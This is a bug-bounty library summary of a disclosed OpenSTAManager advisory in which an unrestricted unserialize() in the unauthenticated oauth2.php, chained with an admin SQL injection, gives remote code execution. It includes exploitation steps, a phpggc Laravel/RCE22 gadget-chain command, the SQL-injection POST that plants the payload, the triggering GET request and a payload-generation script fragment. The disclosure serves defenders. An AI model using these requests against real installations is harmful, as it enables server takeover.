# OpenSTAManager Affected by Remote Code Execution via Insecure Deserialization in OAuth2

Unauthenticated oauth2.php unserializes attacker-controlled access_token from zz_oauth2 table, enabling Laravel gadget chain RCE as www-data when combined with SQL injection.

- Payout: Research
- Severity: high
- Program: OpenSTAManager
- Found by: ormzro
- Disclosed: 2026-04-01
- CVE: CVE-2026-29782
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-whv5-4q2f-q68g
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-whv5-4q2f-q68g
- Tags: area:web domain:web impact:rce kind:research platform:ghsa sev:high tech:php technique:chained technique:source-review vuln:deserialization vuln:rce vuln:sqli

**Target:** oauth2.php OAuth2 callback endpoint / zz_oauth2 table
**Root cause:** oauth2.php is unauthenticated ($skip_permissions=true) and fetches a zz_oauth2 record by attacker-controlled state, then calls unserialize() on the access_token field without allowed_classes restriction.
**Steps:**
1. Generate Laravel/RCE22 gadget chain via phpggc: `php phpggc Laravel/RCE22 system '<command>'`
2. Authenticate as admin and locate Aggiornamenti module id
3. POST to `/actions.php` with `op=risolvi-conflitti-database&id_module=6&queries=[...]` inserting serialized payload into `zz_oauth2.access_token` for a known state, plus CREATE/DROP TABLE DDL to force implicit commit past the handler's `exit;`
4. Send unauthenticated `GET /oauth2.php?state=<state>&code=x` to trigger unserialize and __destruct gadget chain
5. Observe HTTP 500 but command executed; callback confirms `id` output as www-data
**How found:** Code review of oauth2.php noting $skip_permissions=true and attacker-controlled state lookup, then tracing configure()/getAccessToken()/checkTokens() to an unrestricted unserialize() on access_token; identified Laravel dependency classes as usable gadget chain.
**Exploitation:** Requires prior write access to zz_oauth2 (via the Aggiornamenti SQL injection, admin-level). Attacker plants a phpggc Laravel/RCE22 serialized PendingBroadcast object in access_token, then triggers deserialization anonymously via oauth2.php?state=..., achieving system() command execution as www-data despite the 500 error.
**Escalation:** Chained with arbitrary SQL injection (GHSA-2fr7-cc4f-wh98) to convert an authenticated SQL write into unauthenticated RCE; DDL statements bypass the transaction rollback caused by `exit;`.
**Insight:** Unauthenticated callback endpoints that look up DB records by a user-supplied key and deserialize a stored field are prime PHP object injection sinks; check whether framework dependencies (Laravel/Symfony) supply a phpggc chain, and note that __destruct fires even when the request ends in a 500 error.

## Proof of concept (copied exactly from the original report)

**Unauthenticated GET request triggering deserialization RCE**

```
GET /oauth2.php?state=poc-xxx&code=x HTTP/1.1

(No cookies — completely anonymous request)
```

**SQL injection POST planting serialized payload**

```
POST /actions.php HTTP/1.1
Cookie: PHPSESSID=<session>
Content-Type: application/x-www-form-urlencoded

op=risolvi-conflitti-database&id_module=6&queries=["DELETE FROM zz_oauth2 WHERE state='poc-xxx'","INSERT INTO zz_oauth2 (id,name,class,client_id,client_secret,config,state,access_token,after_configuration,is_login,enabled) VALUES (99999,'poc','Modules\\\\Emails\\\\OAuth2\\\\Google','x','x','{}','poc-xxx',0x<payload_hex>,'',0,1)","CREATE TABLE IF NOT EXISTS _t(i INT)","DROP TABLE IF EXISTS _t"]
```

**phpggc Laravel/RCE22 gadget chain generation**

```
["docker", "exec", container, "php", "/tmp/phpggc/phpggc", "Laravel/RCE22", "system", command],
        capture_output=True,
    )
    if result.returncode != 0:
        log(f"phpggc failed: {result.stderr.decode()}", "-")
        sys.exit(1)

    payload_bytes = result.stdout
```

